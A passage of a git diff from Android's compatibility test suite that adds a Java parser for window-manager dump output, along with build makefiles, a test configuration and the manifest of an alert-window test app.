+                log(focusedWindow);
+                mFocusedWindow = focusedWindow;
+                continue;
+            }
+
+            matcher = sFocusedAppPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                final String focusedApp = matcher.group(5);
+                log(focusedApp);
+                mFocusedApp = focusedApp;
+                continue;
+            }
+
+            matcher = sAppTransitionStatePattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                final String appTransitionState = matcher.group(1);
+                log(appTransitionState);
+                mAppTransitionState = appTransitionState;
+                continue;
+            }
+
+            matcher = sLastAppTransitionPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                final String lastAppTransitionPattern = matcher.group(1);
+                log(lastAppTransitionPattern);
+                mLastTransition = lastAppTransitionPattern;
+                continue;
+            }
+
+            matcher = sStableBoundsPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                int left = Integer.parseInt(matcher.group(1));
+                int top = Integer.parseInt(matcher.group(2));
+                int right = Integer.parseInt(matcher.group(3));
+                int bottom = Integer.parseInt(matcher.group(4));
+                mStableBounds.setBounds(left, top, right - left, bottom - top);
+                log(mStableBounds.toString());
+                continue;
+            }
+
+            matcher = sDefaultPinnedStackBoundsPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                int left = Integer.parseInt(matcher.group(1));
+                int top = Integer.parseInt(matcher.group(2));
+                int right = Integer.parseInt(matcher.group(3));
+                int bottom = Integer.parseInt(matcher.group(4));
+                mDefaultPinnedStackBounds.setBounds(left, top, right - left, bottom - top);
+                log(mDefaultPinnedStackBounds.toString());
+                continue;
+            }
+
+            matcher = sPinnedStackMovementBoundsPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                int left = Integer.parseInt(matcher.group(1));
+                int top = Integer.parseInt(matcher.group(2));
+                int right = Integer.parseInt(matcher.group(3));
+                int bottom = Integer.parseInt(matcher.group(4));
+                mPinnedStackMovementBounds.setBounds(left, top, right - left, bottom - top);
+                log(mPinnedStackMovementBounds.toString());
+                continue;
+            }
+
+            matcher = sInputMethodWindowPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                mInputMethodWindowAppToken = matcher.group(1);
+                log(mInputMethodWindowAppToken);
+                continue;
+            }
+
+            matcher = sRotationPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                mRotation = Integer.parseInt(matcher.group(1));
+                continue;
+            }
+
+            matcher = sLastOrientationPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                mLastOrientation = Integer.parseInt(matcher.group(1));
+                continue;
+            }
+
+            matcher = sDisplayFrozenPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                mDisplayFrozen = Boolean.parseBoolean(matcher.group(1));
+                continue;
+            }
+
+            matcher = sDockedStackMinimizedPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                mIsDockedStackMinimized = Boolean.parseBoolean(matcher.group(1));
+                continue;
+            }
+        }
+    }
+
+    void getMatchingWindowTokens(final String windowName, List<String> tokenList) {
+        tokenList.clear();
+
+        for (WindowState ws : mWindowStates) {
+            if (windowName.equals(ws.getName())) {
+                tokenList.add(ws.getToken());
+            }
+        }
+    }
+
+    void getMatchingVisibleWindowState(final String windowName, List<WindowState> windowList) {
+        windowList.clear();
+        for (WindowState ws : mWindowStates) {
+            if (ws.isShown() && windowName.equals(ws.getName())) {
+                windowList.add(ws);
+            }
+        }
+    }
+
+    void getPrefixMatchingVisibleWindowState(final String windowName, List<WindowState> windowList) {
+        windowList.clear();
+        for (WindowState ws : mWindowStates) {
+            if (ws.isShown() && ws.getName().startsWith(windowName)) {
+                windowList.add(ws);
+            }
+        }
+    }
+
+    WindowState getWindowByPackageName(String packageName, int windowType) {
+        for (WindowState ws : mWindowStates) {
+            final String name = ws.getName();
+            if (name == null || !name.contains(packageName)) {
+                continue;
+            }
+            if (windowType != ws.getType()) {
+                continue;
+            }
+            return ws;
+        }
+
+        return null;
+    }
+
+    void getWindowsByPackageName(String packageName, List<Integer> restrictToTypeList,
+            List<WindowState> outWindowList) {
+        outWindowList.clear();
+        for (WindowState ws : mWindowStates) {
+            final String name = ws.getName();
+            if (name == null || !name.contains(packageName)) {
+                continue;
+            }
+            if (restrictToTypeList != null && !restrictToTypeList.contains(ws.getType())) {
+                continue;
+            }
+            outWindowList.add(ws);
+        }
+    }
+
+    void sortWindowsByLayer(List<WindowState> windows) {
+        windows.sort(Comparator.comparingInt(WindowState::getLayer));
+    }
+
+    WindowState getWindowStateForAppToken(String appToken) {
+        for (WindowState ws : mWindowStates) {
+            if (ws.getToken().equals(appToken)) {
+                return ws;
+            }
+        }
+        return null;
+    }
+
+    Display getDisplay(int displayId) {
+        for (Display display : mDisplays) {
+            if (displayId == display.getDisplayId()) {
+                return display;
+            }
+        }
+        return null;
+    }
+
+    String getFrontWindow() {
+        if (mWindowStates == null || mWindowStates.isEmpty()) {
+            return null;
+        }
+        return mWindowStates.get(0).getName();
+    }
+
+    String getFocusedWindow() {
+        return mFocusedWindow;
+    }
+
+    String getFocusedApp() {
+        return mFocusedApp;
+    }
+
+    String getLastTransition() {
+        return mLastTransition;
+    }
+
+    String getAppTransitionState() {
+        return mAppTransitionState;
+    }
+
+    int getFrontStackId(int displayId) {
+        return mDisplayStacks.get(displayId).get(0).mStackId;
+    }
+
+    public int getRotation() {
+        return mRotation;
+    }
+
+    int getLastOrientation() {
+        return mLastOrientation;
+    }
+
+    boolean containsStack(int stackId) {
+        for (WindowStack stack : mStacks) {
+            if (stackId == stack.mStackId) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /** Check if there exists a window record with matching windowName. */
+    boolean containsWindow(String windowName) {
+        for (WindowState window : mWindowStates) {
+            if (window.getName().equals(windowName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /** Check if at least one window which matches provided window name is visible. */
+    boolean isWindowVisible(String windowName) {
+        for (WindowState window : mWindowStates) {
+            if (window.getName().equals(windowName)) {
+                if (window.isShown()) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    boolean allWindowsVisible(String windowName) {
+        boolean allVisible = false;
+        for (WindowState window : mWindowStates) {
+            if (window.getName().equals(windowName)) {
+                if (!window.isShown()) {
+                    log("[VISIBLE] not visible" + windowName);
+                    return false;
+                }
+                log("[VISIBLE] visible" + windowName);
+                allVisible = true;
+            }
+        }
+        return allVisible;
+    }
+
+    WindowStack getStack(int stackId) {
+        for (WindowStack stack : mStacks) {
+            if (stackId == stack.mStackId) {
+                return stack;
+            }
+        }
+        return null;
+    }
+
+
+    int getStackPosition(int stackId) {
+        for (int i = 0; i < mStacks.size(); i++) {
+            if (stackId == mStacks.get(i).mStackId) {
+                return i;
+            }
+        }
+        return -1;
+    }
+
+    WindowState getInputMethodWindowState() {
+        return getWindowStateForAppToken(mInputMethodWindowAppToken);
+    }
+
+    Rectangle getStableBounds() {
+        return mStableBounds;
+    }
+
+    Rectangle getDefaultPinnedStackBounds() {
+        return mDefaultPinnedStackBounds;
+    }
+
+    Rectangle getPinnedStackMomentBounds() {
+        return mPinnedStackMovementBounds;
+    }
+
+    WindowState findFirstWindowWithType(int type) {
+        for (WindowState window : mWindowStates) {
+            if (window.getType() == type) {
+                return window;
+            }
+        }
+        return null;
+    }
+
+    public boolean isDisplayFrozen() {
+        return mDisplayFrozen;
+    }
+
+    public boolean isDockedStackMinimized() {
+        return mIsDockedStackMinimized;
+    }
+
+    private void reset() {
+        mSysDump.clear();
+        mStacks.clear();
+        mDisplays.clear();
+        mWindowStates.clear();
+        mFocusedWindow = null;
+        mFocusedApp = null;
+        mInputMethodWindowAppToken = null;
+    }
+
+    static class WindowStack extends WindowContainer {
+
+        private static final Pattern sTaskIdPattern = Pattern.compile("taskId=(\\d+)");
+        private static final Pattern sWindowAnimationBackgroundSurfacePattern =
+                Pattern.compile("mWindowAnimationBackgroundSurface:");
+
+        int mStackId;
+        ArrayList<WindowTask> mTasks = new ArrayList();
+        boolean mWindowAnimationBackgroundSurfaceShowing;
+
+        private WindowStack() {
+
+        }
+
+        static WindowStack create(
+                LinkedList<String> dump, Pattern stackIdPattern, Pattern[] exitPatterns) {
+            final String line = dump.peek().trim();
+
+            final Matcher matcher = stackIdPattern.matcher(line);
+            if (!matcher.matches()) {
+                // Not a stack.
+                return null;
+            }
+            // For the stack Id line we just read.
+            dump.pop();
+
+            final WindowStack stack = new WindowStack();
+            log(line);
+            final String stackId = matcher.group(1);
+            log(stackId);
+            stack.mStackId = Integer.parseInt(stackId);
+            stack.extract(dump, exitPatterns);
+            return stack;
+        }
+
+        void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
+
+            final List<Pattern> taskExitPatterns = new ArrayList();
+            Collections.addAll(taskExitPatterns, exitPatterns);
+            taskExitPatterns.add(sTaskIdPattern);
+            taskExitPatterns.add(sWindowAnimationBackgroundSurfacePattern);
+            final Pattern[] taskExitPatternsArray =
+                    taskExitPatterns.toArray(new Pattern[taskExitPatterns.size()]);
+
+            while (!doneExtracting(dump, exitPatterns)) {
+                final WindowTask task =
+                        WindowTask.create(dump, sTaskIdPattern, taskExitPatternsArray);
+
+                if (task != null) {
+                    mTasks.add(task);
+                    continue;
+                }
+
+                final String line = dump.pop().trim();
+
+                if (extractFullscreen(line)) {
+                    continue;
+                }
+
+                if (extractBounds(line)) {
+                    continue;
+                }
+
+                if (extractWindowAnimationBackgroundSurface(line)) {
+                    continue;
+                }
+            }
+        }
+
+        boolean extractWindowAnimationBackgroundSurface(String line) {
+            if (sWindowAnimationBackgroundSurfacePattern.matcher(line).matches()) {
+                log(line);
+                mWindowAnimationBackgroundSurfaceShowing = true;
+                return true;
+            }
+            return false;
+        }
+
+        WindowTask getTask(int taskId) {
+            for (WindowTask task : mTasks) {
+                if (taskId == task.mTaskId) {
+                    return task;
+                }
+            }
+            return null;
+        }
+
+        boolean isWindowAnimationBackgroundSurfaceShowing() {
+            return mWindowAnimationBackgroundSurfaceShowing;
+        }
+    }
+
+    static class WindowTask extends WindowContainer {
+        private static final Pattern sTempInsetBoundsPattern =
+                Pattern.compile("mTempInsetBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
+
+        private static final Pattern sAppTokenPattern = Pattern.compile(
+                "Activity #(\\d+) AppWindowToken\\{(\\S+) token=Token\\{(\\S+) "
+                + "ActivityRecord\\{(\\S+) u(\\d+) (\\S+) t(\\d+)\\}\\}\\}");
+
+
+        int mTaskId;
+        Rectangle mTempInsetBounds;
+        List<String> mAppTokens = new ArrayList();
+
+        private WindowTask() {
+        }
+
+        static WindowTask create(
+                LinkedList<String> dump, Pattern taskIdPattern, Pattern[] exitPatterns) {
+            final String line = dump.peek().trim();
+
+            final Matcher matcher = taskIdPattern.matcher(line);
+            if (!matcher.matches()) {
+                // Not a task.
+                return null;
+            }
+            // For the task Id line we just read.
+            dump.pop();
+
+            final WindowTask task = new WindowTask();
+            log(line);
+            final String taskId = matcher.group(1);
+            log(taskId);
+            task.mTaskId = Integer.parseInt(taskId);
+            task.extract(dump, exitPatterns);
+            return task;
+        }
+
+        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
+            while (!doneExtracting(dump, exitPatterns)) {
+                final String line = dump.pop().trim();
+
+                if (extractFullscreen(line)) {
+                    continue;
+                }
+
+                if (extractBounds(line)) {
+                    continue;
+                }
+
+                Matcher matcher = sTempInsetBoundsPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    mTempInsetBounds = extractBounds(matcher);
+                }
+
+                matcher = sAppTokenPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    final String appToken = matcher.group(6);
+                    log(appToken);
+                    mAppTokens.add(appToken);
+                    continue;
+                }
+            }
+        }
+    }
+
+    static abstract class WindowContainer {
+        protected static final Pattern sFullscreenPattern = Pattern.compile("mFillsParent=(\\S+)");
+        protected static final Pattern sBoundsPattern =
+                Pattern.compile("mBounds=\\[(-?\\d+),(-?\\d+)\\]\\[(-?\\d+),(-?\\d+)\\]");
+
+        protected boolean mFullscreen;
+        protected Rectangle mBounds;
+
+        static boolean doneExtracting(LinkedList<String> dump, Pattern[] exitPatterns) {
+            if (dump.isEmpty()) {
+                return true;
+            }
+            final String line = dump.peek().trim();
+
+            for (Pattern pattern : exitPatterns) {
+                if (pattern.matcher(line).matches()) {
+                    return true;
+                }
+            }
+            return false;
+        }
+
+        boolean extractFullscreen(String line) {
+            final Matcher matcher = sFullscreenPattern.matcher(line);
+            if (!matcher.matches()) {
+                return false;
+            }
+            log(line);
+            final String fullscreen = matcher.group(1);
+            log(fullscreen);
+            mFullscreen = Boolean.valueOf(fullscreen);
+            return true;
+        }
+
+        boolean extractBounds(String line) {
+            final Matcher matcher = sBoundsPattern.matcher(line);
+            if (!matcher.matches()) {
+                return false;
+            }
+            log(line);
+            mBounds = extractBounds(matcher);
+            return true;
+        }
+
+        static Rectangle extractBounds(Matcher matcher) {
+            final int left = Integer.valueOf(matcher.group(1));
+            final int top = Integer.valueOf(matcher.group(2));
+            final int right = Integer.valueOf(matcher.group(3));
+            final int bottom = Integer.valueOf(matcher.group(4));
+            final Rectangle rect = new Rectangle(left, top, right - left, bottom - top);
+
+            log(rect.toString());
+            return rect;
+        }
+
+        static void extractMultipleBounds(Matcher matcher, int groupIndex, Rectangle... rectList) {
+            for (Rectangle rect : rectList) {
+                if (rect == null) {
+                    return;
+                }
+                final int left = Integer.valueOf(matcher.group(groupIndex++));
+                final int top = Integer.valueOf(matcher.group(groupIndex++));
+                final int right = Integer.valueOf(matcher.group(groupIndex++));
+                final int bottom = Integer.valueOf(matcher.group(groupIndex++));
+                rect.setBounds(left, top, right - left, bottom - top);
+            }
+        }
+
+        Rectangle getBounds() {
+            return mBounds;
+        }
+
+        boolean isFullscreen() {
+            return mFullscreen;
+        }
+    }
+
+    static class Display extends WindowContainer {
+        private static final String TAG = "[Display] ";
+
+        private static final Pattern sDisplayInfoPattern =
+                Pattern.compile("(.+) (\\d+)dpi cur=(\\d+)x(\\d+) app=(\\d+)x(\\d+) (.+)");
+
+        private final int mDisplayId;
+        private Rectangle mDisplayRect = new Rectangle();
+        private Rectangle mAppRect = new Rectangle();
+        private int mDpi;
+
+        private Display(int displayId) {
+            mDisplayId = displayId;
+        }
+
+        int getDisplayId() {
+            return mDisplayId;
+        }
+
+        int getDpi() {
+            return mDpi;
+        }
+
+        Rectangle getDisplayRect() {
+            return mDisplayRect;
+        }
+
+        Rectangle getAppRect() {
+            return mAppRect;
+        }
+
+        static Display create(LinkedList<String> dump, Pattern[] exitPatterns) {
+            // TODO: exit pattern for displays?
+            final String line = dump.peek().trim();
+
+            Matcher matcher = sDisplayIdPattern.matcher(line);
+            if (!matcher.matches()) {
+                return null;
+            }
+
+            log(TAG + "DISPLAY_ID: " + line);
+            dump.pop();
+
+            final int displayId = Integer.valueOf(matcher.group(1));
+            final Display display = new Display(displayId);
+            display.extract(dump, exitPatterns);
+            return display;
+        }
+
+        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
+            while (!doneExtracting(dump, exitPatterns)) {
+                final String line = dump.pop().trim();
+
+                final Matcher matcher = sDisplayInfoPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(TAG + "DISPLAY_INFO: " + line);
+                    mDpi = Integer.valueOf(matcher.group(2));
+
+                    final int displayWidth = Integer.valueOf(matcher.group(3));
+                    final int displayHeight = Integer.valueOf(matcher.group(4));
+                    mDisplayRect.setBounds(0, 0, displayWidth, displayHeight);
+
+                    final int appWidth = Integer.valueOf(matcher.group(5));
+                    final int appHeight = Integer.valueOf(matcher.group(6));
+                    mAppRect.setBounds(0, 0, appWidth, appHeight);
+
+                    // break as we don't need other info for now
+                    break;
+                }
+                // Extract other info here if needed
+            }
+        }
+
+        @Override
+        public String toString() {
+            return "Display #" + mDisplayId + ": mDisplayRect=" + mDisplayRect
+                    + " mAppRect=" + mAppRect;
+        }
+    }
+
+    public static class WindowState extends WindowContainer {
+        private static final String TAG = "[WindowState] ";
+
+        public static final int TYPE_WALLPAPER = 2013;
+
+        private static final int WINDOW_TYPE_NORMAL   = 0;
+        private static final int WINDOW_TYPE_STARTING = 1;
+        private static final int WINDOW_TYPE_EXITING  = 2;
+        private static final int WINDOW_TYPE_DEBUGGER = 3;
+
+        private static final String RECT_STR = "\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]";
+        private static final String NEGATIVE_VALUES_ALLOWED_RECT_STR =
+                "\\[([-\\d]+),([-\\d]+)\\]\\[([-\\d]+),([-\\d]+)\\]";
+        private static final Pattern sMainFramePattern = Pattern.compile("mFrame=" + RECT_STR + ".+");
+        private static final Pattern sFramePattern =
+                Pattern.compile("Frames: containing=" + RECT_STR + " parent=" + RECT_STR);
+        private static final Pattern sContentFramePattern =
+            Pattern.compile("content=" + RECT_STR + " .+");
+        private static final Pattern sWindowAssociationPattern =
+                Pattern.compile("mDisplayId=(\\d+) stackId=(\\d+) (.+)");
+        private static final Pattern sSurfaceInsetsPattern =
+            Pattern.compile("Cur insets.+surface=" + RECT_STR + ".+");
+        private static final Pattern sContentInsetsPattern =
+                Pattern.compile("Cur insets.+content=" + NEGATIVE_VALUES_ALLOWED_RECT_STR + ".+");
+        private static final Pattern sGivenContentInsetsPattern =
+                Pattern.compile("mGivenContentInsets=" + RECT_STR + ".+");
+        private static final Pattern sCropPattern =
+            Pattern.compile(".+mLastClipRect=" + RECT_STR + ".*");
+        private static final Pattern sSurfacePattern =
+                Pattern.compile("Surface: shown=(\\S+) layer=(\\d+) alpha=[\\d.]+ rect=\\([\\d.-]+,[\\d.-]+\\) [\\d.]+ x [\\d.]+.*");
+        private static final Pattern sAttrsPattern=
+                Pattern.compile("mAttrs=WM\\.LayoutParams\\{.*ty=(\\d+).*\\}");
+
+
+        private final String mName;
+        private final String mAppToken;
+        private final int mWindowType;
+        private int mType;
+        private int mDisplayId;
+        private int mStackId;
+        private int mLayer;
+        private boolean mShown;
+        private Rectangle mContainingFrame = new Rectangle();
+        private Rectangle mParentFrame = new Rectangle();
+        private Rectangle mContentFrame = new Rectangle();
+        private Rectangle mFrame = new Rectangle();
+        private Rectangle mSurfaceInsets = new Rectangle();
+        private Rectangle mContentInsets = new Rectangle();
+        private Rectangle mGivenContentInsets = new Rectangle();
+        private Rectangle mCrop = new Rectangle();
+
+
+        private WindowState(Matcher matcher, int windowType) {
+            mName = matcher.group(4);
+            mAppToken = matcher.group(2);
+            mWindowType = windowType;
+        }
+
+        public String getName() {
+            return mName;
+        }
+
+        String getToken() {
+            return mAppToken;
+        }
+
+        boolean isStartingWindow() {
+            return mWindowType == WINDOW_TYPE_STARTING;
+        }
+
+        boolean isExitingWindow() {
+            return mWindowType == WINDOW_TYPE_EXITING;
+        }
+
+        boolean isDebuggerWindow() {
+            return mWindowType == WINDOW_TYPE_DEBUGGER;
+        }
+
+        int getDisplayId() {
+            return mDisplayId;
+        }
+
+        int getStackId() {
+            return mStackId;
+        }
+
+        int getLayer() {
+            return mLayer;
+        }
+
+        Rectangle getContainingFrame() {
+            return mContainingFrame;
+        }
+
+        Rectangle getFrame() {
+            return mFrame;
+        }
+
+        Rectangle getSurfaceInsets() {
+            return mSurfaceInsets;
+        }
+
+        Rectangle getContentInsets() {
+            return mContentInsets;
+        }
+
+        Rectangle getGivenContentInsets() {
+            return mGivenContentInsets;
+        }
+
+        Rectangle getContentFrame() {
+            return mContentFrame;
+        }
+
+        Rectangle getParentFrame() {
+            return mParentFrame;
+        }
+
+        Rectangle getCrop() {
+            return mCrop;
+        }
+
+        boolean isShown() {
+            return mShown;
+        }
+
+        int getType() {
+            return mType;
+        }
+
+        static WindowState create(LinkedList<String> dump, Pattern[] exitPatterns) {
+            final String line = dump.peek().trim();
+
+            Matcher matcher = sWindowPattern.matcher(line);
+            if (!matcher.matches()) {
+                return null;
+            }
+
+            log(TAG + "WINDOW: " + line);
+            dump.pop();
+
+            final WindowState window;
+            Matcher specialMatcher;
+            if ((specialMatcher = sStartingWindowPattern.matcher(line)).matches()) {
+                log(TAG + "STARTING: " + line);
+                window = new WindowState(specialMatcher, WINDOW_TYPE_STARTING);
+            } else if ((specialMatcher = sExitingWindowPattern.matcher(line)).matches()) {
+                log(TAG + "EXITING: " + line);
+                window = new WindowState(specialMatcher, WINDOW_TYPE_EXITING);
+            } else if ((specialMatcher = sDebuggerWindowPattern.matcher(line)).matches()) {
+                log(TAG + "DEBUGGER: " + line);
+                window = new WindowState(specialMatcher, WINDOW_TYPE_DEBUGGER);
+            } else {
+                window = new WindowState(matcher, WINDOW_TYPE_NORMAL);
+            }
+
+            window.extract(dump, exitPatterns);
+            return window;
+        }
+
+        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
+            while (!doneExtracting(dump, exitPatterns)) {
+                final String line = dump.pop().trim();
+
+                Matcher matcher = sWindowAssociationPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(TAG + "WINDOW_ASSOCIATION: " + line);
+                    mDisplayId = Integer.valueOf(matcher.group(1));
+                    mStackId = Integer.valueOf(matcher.group(2));
+                    continue;
+                }
+
+                matcher = sMainFramePattern.matcher(line);
+                if (matcher.matches()) {
+                    log(TAG + "MAIN WINDOW FRAME: " + line);
+                    mFrame = extractBounds(matcher);
+                    continue;
+                }
+
+                matcher = sFramePattern.matcher(line);
+                if (matcher.matches()) {
+                    log(TAG + "FRAME: " + line);
+                    extractMultipleBounds(matcher, 1, mContainingFrame, mParentFrame);
+                    continue;
+                }
+
+                matcher = sContentFramePattern.matcher(line);
+                if (matcher.matches()) {
+                    log(TAG + "CONTENT FRAME: " + line);
+                    mContentFrame = extractBounds(matcher);
+                }
+
+                matcher = sSurfaceInsetsPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(TAG + "INSETS: " + line);
+                    mSurfaceInsets = extractBounds(matcher);
+                }
+
+                matcher = sContentInsetsPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(TAG + "CONTENT INSETS: " + line);
+                    mContentInsets = extractBounds(matcher);
+                }
+
+                matcher = sCropPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(TAG + "CROP: " + line);
+                    mCrop = extractBounds(matcher);
+                }
+
+                matcher = sSurfacePattern.matcher(line);
+                if (matcher.matches()) {
+                    log(TAG + "SURFACE: " + line);
+                    mShown = Boolean.valueOf(matcher.group(1));
+                    mLayer = Integer.valueOf(matcher.group(2));
+                }
+
+                matcher = sAttrsPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(TAG + "ATTRS: " + line);
+                    mType = Integer.valueOf(matcher.group(1));
+                }
+
+                matcher = sGivenContentInsetsPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(TAG + "GIVEN CONTENT INSETS: " + line);
+                    mGivenContentInsets = extractBounds(matcher);
+                }
+
+                // Extract other info here if needed
+            }
+        }
+
+        private static String getWindowTypeSuffix(int windowType) {
+            switch (windowType) {
+            case WINDOW_TYPE_STARTING: return " STARTING";
+            case WINDOW_TYPE_EXITING: return " EXITING";
+            case WINDOW_TYPE_DEBUGGER: return " DEBUGGER";
+            default: break;
+            }
+            return "";
+        }
+
+        @Override
+        public String toString() {
+            return "WindowState: {" + mAppToken + " " + mName
+                    + getWindowTypeSuffix(mWindowType) + "}" + " type=" + mType
+                    + " cf=" + mContainingFrame + " pf=" + mParentFrame;
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
new file mode 100644
index 0000000..79470c6
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE := CtsWindowManagerHostTestCases
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed CtsServicesHostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-amwm-util \
+    platform-test-annotations-host
+
+LOCAL_CTS_TEST_PACKAGE := android.server.cts
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml
new file mode 100644
index 0000000..82f0099
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS window manager host test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsDragAndDropSourceApp.apk" />
+        <option name="test-file-name" value="CtsDragAndDropTargetApp.apk" />
+        <option name="test-file-name" value="CtsDragAndDropTargetAppSdk23.apk" />
+        <option name="test-file-name" value="CtsDeviceWindowFramesTestApp.apk" />
+        <option name="test-file-name" value="CtsDeviceAlertWindowTestApp.apk" />
+        <option name="test-file-name" value="CtsDeviceAlertWindowTestAppSdk25.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsWindowManagerHostTestCases.jar" />
+        <option name="runtime-hint" value="20m40s" />
+    </test>
+</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
new file mode 100644
index 0000000..a0f71dd
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+    $(call all-java-files-under, ../alertwindowappsdk25/src) \
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
new file mode 100755
index 0000000..9c6a6ad
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+          package="android.server.alertwindowapp">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application android:label="CtsAlertWindow">
+        <activity android:name=".AlertWindowTestActivity"
+                  android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java
new file mode 100644
index 0000000..db007e2
--- /dev/null
